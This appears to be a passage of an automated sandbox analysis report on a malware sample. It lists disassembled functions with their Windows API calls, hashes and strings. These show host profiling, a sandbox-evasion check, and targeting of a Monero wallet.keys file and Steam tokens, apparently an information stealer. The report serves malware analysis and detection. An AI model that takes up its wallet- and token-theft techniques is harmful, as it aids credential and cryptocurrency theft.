Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-4138519520
Opcode ID: 646be27bb14097bb389f06fed4932f2f23b5dd2621fee5e52ce48fac8d076458
Instruction ID: 5eaf95a8a3a60e03e52a2e1bc31ccf87f956116b66fe1400c4cb140cdc138a6b
Opcode Fuzzy Hash: 646be27bb14097bb389f06fed4932f2f23b5dd2621fee5e52ce48fac8d076458
Instruction Fuzzy Hash: BE518BB1D04218AFDB24EBA4DC95BEEB774EF04304F1440A8E21576281EB746E88DF78

Function 00D39470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00D39484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00D394A5
CloseHandle.KERNEL32(00000000), ref: 00D394AF

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: e7ab418071e355f63a15e5c7237eed02ba4e27b079c430cc70055a55b0162d40
Instruction ID: ae1c008d0ae78129da44a75be68447ed6072f3e2e0c9344bf84d947e442381eb
Opcode Fuzzy Hash: e7ab418071e355f63a15e5c7237eed02ba4e27b079c430cc70055a55b0162d40
Instruction Fuzzy Hash: E2F03A74A0020CABDB04DFA4DC4AFE97778EB08300F004498FA19A7290D6B06A85DB91

Function 00D21110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D2112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00D21132
ExitProcess.KERNEL32 ref: 00D21143

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: fff541bdb1e3ec535ad4361084bb3d495e531ec253328fbd2729d405a2d9fa6a
Instruction ID: f0b0c361e73b4d420bf9bdc5f84c8a44ceb6bef9d131e11363e2b14e14a66ef0
Opcode Fuzzy Hash: fff541bdb1e3ec535ad4361084bb3d495e531ec253328fbd2729d405a2d9fa6a
Instruction Fuzzy Hash: A8E0E67494531CFBE7106BB0AD0AB097678EB14B05F104154F719771D0D6F52644AAA9

Function 00D31A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D37500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00D37542
Part of subcall function 00D37500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D3757F
Part of subcall function 00D37500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D37603
Part of subcall function 00D37500: RtlAllocateHeap.NTDLL(00000000), ref: 00D3760A

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D37690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D376A4
Part of subcall function 00D37690: RtlAllocateHeap.NTDLL(00000000), ref: 00D376AB

Part of subcall function 00D377C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00D3DBC0,000000FF,?,00D31C99,00000000,?,0184E0C8,00000000,?), ref: 00D377F2
Part of subcall function 00D377C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00D3DBC0,000000FF,?,00D31C99,00000000,?,0184E0C8,00000000,?), ref: 00D377F9

Part of subcall function 00D37850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D211B7), ref: 00D37880
Part of subcall function 00D37850: RtlAllocateHeap.NTDLL(00000000), ref: 00D37887
Part of subcall function 00D37850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D3789F

Part of subcall function 00D378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D37910
Part of subcall function 00D378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D37917
Part of subcall function 00D378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00D3792F

Part of subcall function 00D37980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00D40E00,00000000,?), ref: 00D379B0
Part of subcall function 00D37980: RtlAllocateHeap.NTDLL(00000000), ref: 00D379B7
Part of subcall function 00D37980: GetLocalTime.KERNEL32(?,?,?,?,?,00D40E00,00000000,?), ref: 00D379C4
Part of subcall function 00D37980: wsprintfA.USER32 ref: 00D379F3

Part of subcall function 00D37A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0184E6E0,00000000,?,00D40E10,00000000,?,00000000,00000000), ref: 00D37A63
Part of subcall function 00D37A30: RtlAllocateHeap.NTDLL(00000000), ref: 00D37A6A
Part of subcall function 00D37A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0184E6E0,00000000,?,00D40E10,00000000,?,00000000,00000000,?), ref: 00D37A7D

Part of subcall function 00D37B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0184E6E0,00000000,?,00D40E10,00000000,?,00000000,00000000), ref: 00D37B35

Part of subcall function 00D37B90: GetKeyboardLayoutList.USER32(00000000,00000000,00D405AF), ref: 00D37BE1
Part of subcall function 00D37B90: LocalAlloc.KERNEL32(00000040,?), ref: 00D37BF9
Part of subcall function 00D37B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00D37C0D
Part of subcall function 00D37B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00D37C62
Part of subcall function 00D37B90: LocalFree.KERNEL32(00000000), ref: 00D37D22

Part of subcall function 00D37D80: GetSystemPowerStatus.KERNEL32(?), ref: 00D37DAD

GetCurrentProcessId.KERNEL32(00000000,?,0184E0E8,00000000,?,00D40E24,00000000,?,00000000,00000000,?,0184E818,00000000,?,00D40E20,00000000), ref: 00D3207E

Part of subcall function 00D39470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00D39484
Part of subcall function 00D39470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00D394A5
Part of subcall function 00D39470: CloseHandle.KERNEL32(00000000), ref: 00D394AF

Part of subcall function 00D37E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D37E37
Part of subcall function 00D37E00: RtlAllocateHeap.NTDLL(00000000), ref: 00D37E3E
Part of subcall function 00D37E00: RegOpenKeyExA.KERNEL32(80000002,0183CA30,00000000,00020119,?), ref: 00D37E5E
Part of subcall function 00D37E00: RegQueryValueExA.KERNEL32(?,0184DEE8,00000000,00000000,000000FF,000000FF), ref: 00D37E7F
Part of subcall function 00D37E00: RegCloseKey.ADVAPI32(?), ref: 00D37E92

Part of subcall function 00D37F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00D37FC9
Part of subcall function 00D37F60: GetLastError.KERNEL32 ref: 00D37FD8

Part of subcall function 00D37ED0: GetSystemInfo.KERNEL32(00D40E2C), ref: 00D37F00
Part of subcall function 00D37ED0: wsprintfA.USER32 ref: 00D37F16

Part of subcall function 00D38100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0184E8F0,00000000,?,00D40E2C,00000000,?,00000000), ref: 00D38130
Part of subcall function 00D38100: RtlAllocateHeap.NTDLL(00000000), ref: 00D38137
Part of subcall function 00D38100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00D38158
Part of subcall function 00D38100: __aulldiv.LIBCMT ref: 00D38172
Part of subcall function 00D38100: __aulldiv.LIBCMT ref: 00D38180
Part of subcall function 00D38100: wsprintfA.USER32 ref: 00D381AC

Part of subcall function 00D387C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00D40E28,00000000,?), ref: 00D3882F
Part of subcall function 00D387C0: RtlAllocateHeap.NTDLL(00000000), ref: 00D38836
Part of subcall function 00D387C0: wsprintfA.USER32 ref: 00D38850

Part of subcall function 00D38320: RegOpenKeyExA.KERNEL32(00000000,0184B990,00000000,00020019,00000000,00D405B6), ref: 00D383A4

Part of subcall function 00D38320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D38426
Part of subcall function 00D38320: wsprintfA.USER32 ref: 00D38459
Part of subcall function 00D38320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00D3847B
Part of subcall function 00D38320: RegCloseKey.ADVAPI32(00000000), ref: 00D3848C
Part of subcall function 00D38320: RegCloseKey.ADVAPI32(00000000), ref: 00D38499

Part of subcall function 00D38680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00D405B7), ref: 00D386CA
Part of subcall function 00D38680: Process32First.KERNEL32(?,00000128), ref: 00D386DE
Part of subcall function 00D38680: Process32Next.KERNEL32(?,00000128), ref: 00D386F3
Part of subcall function 00D38680: CloseHandle.KERNEL32(?), ref: 00D38761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00D3265B

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 8c2678e913656067e4a040534cb9a73e6d5bf127324686c1172566de5a62aaff
Instruction ID: 57c89331dacc6f8e99b1bf210ad9158988bc49d3916b9b1b5990c336b901098b
Opcode Fuzzy Hash: 8c2678e913656067e4a040534cb9a73e6d5bf127324686c1172566de5a62aaff
Instruction Fuzzy Hash: 0E724B72D14118AADB59FB94DC92EEEB33CEF14300F5142A9B15672091EF702B49CE76

Function 00D26D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c351271a1489e3b6185be1468934183fdd283a14be8b9243e69bc155720c9c27
Instruction ID: 60ff16ea1e7ad457d8b8ed39b0921f4f021c1e5f5f7ac730191e6f92b1dda8de
Opcode Fuzzy Hash: c351271a1489e3b6185be1468934183fdd283a14be8b9243e69bc155720c9c27
Instruction Fuzzy Hash: EF61E5B5900228DBCF14DF94E984BEEB7B0BF54308F148598E41967280E775EE94DFA1

Function 00D35100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A820: lstrlen.KERNEL32(00D24F05,?,?,00D24F05,00D40DDE), ref: 00D3A82B
Part of subcall function 00D3A820: lstrcpy.KERNEL32(00D40DDE,00000000), ref: 00D3A885

lstrlen.KERNEL32(00000000,00000000,00D40ACA), ref: 00D3512A

Strings

steam_tokens.txt, xrefs: 00D3513F

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: a82dadd2b9630143a8ac9f5720fc9813aa5a4dd425feaf8f989e71cf32ddf2f0
Instruction ID: 49ac9bc13beb66df62d7068520b7876bed1a36d8696319333054eab89c4ba665
Opcode Fuzzy Hash: a82dadd2b9630143a8ac9f5720fc9813aa5a4dd425feaf8f989e71cf32ddf2f0
Instruction Fuzzy Hash: 18F0EC76A101086ADB14FBB8EC579ED773CEF64340F404268B89662492EF346A09D7F7

Function 00D37ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00D40E2C), ref: 00D37F00
wsprintfA.USER32 ref: 00D37F16

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

